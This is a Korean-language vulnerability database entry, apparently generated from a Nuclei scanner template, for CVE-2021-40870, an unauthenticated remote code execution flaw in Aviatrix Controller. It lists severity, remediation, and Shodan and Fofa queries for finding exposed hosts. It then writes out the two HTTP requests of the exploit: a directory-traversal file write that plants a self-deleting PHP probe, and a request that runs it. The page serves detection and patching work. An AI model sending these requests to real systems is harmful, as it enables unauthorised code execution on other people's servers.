🔙 목록으로 돌아가기

CVE-2021-40870: Aviatrix Controller 6.x before 6.5-1804.1922 - Remote Command Execution

TitleAviatrix Controller 6.x before 6.5-1804.1922 - Remote Command Execution
Authorpikpikcu
SeverityCritical
ImpactSuccessful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
RemediationUpgrade Aviatrix Controller to version 6.5-1804.1922 or later to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.94228
CVE IDCVE-2021-40870
CWE IDCWE-23
Shodan Queryhttp.title:"aviatrix cloud controller"
Fofa Querytitle="aviatrix cloud controller"
Tags cve2021 cve intrusive packetstorm rce aviatrix kev fileupload vkev vuln

🔍 Vulnerability Description

Aviatrix Controller 6.x before 6.5-1804.1922 contains a vulnerability that allows unrestricted upload of a file with a dangerous type, which allows an unauthenticated user to execute arbitrary code via directory traversal.

🌐 HTTP Request

POST /v1/backend1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 162
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/38FN8fqCxgB240iE3Rn7NOPIfPC.php&data=<?php echo md5("CVE-2021-40870");unlink(__FILE__);?>
GET /v1/38FN8fqCxgB240iE3Rn7NOPIfPC.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40870.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-40870.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A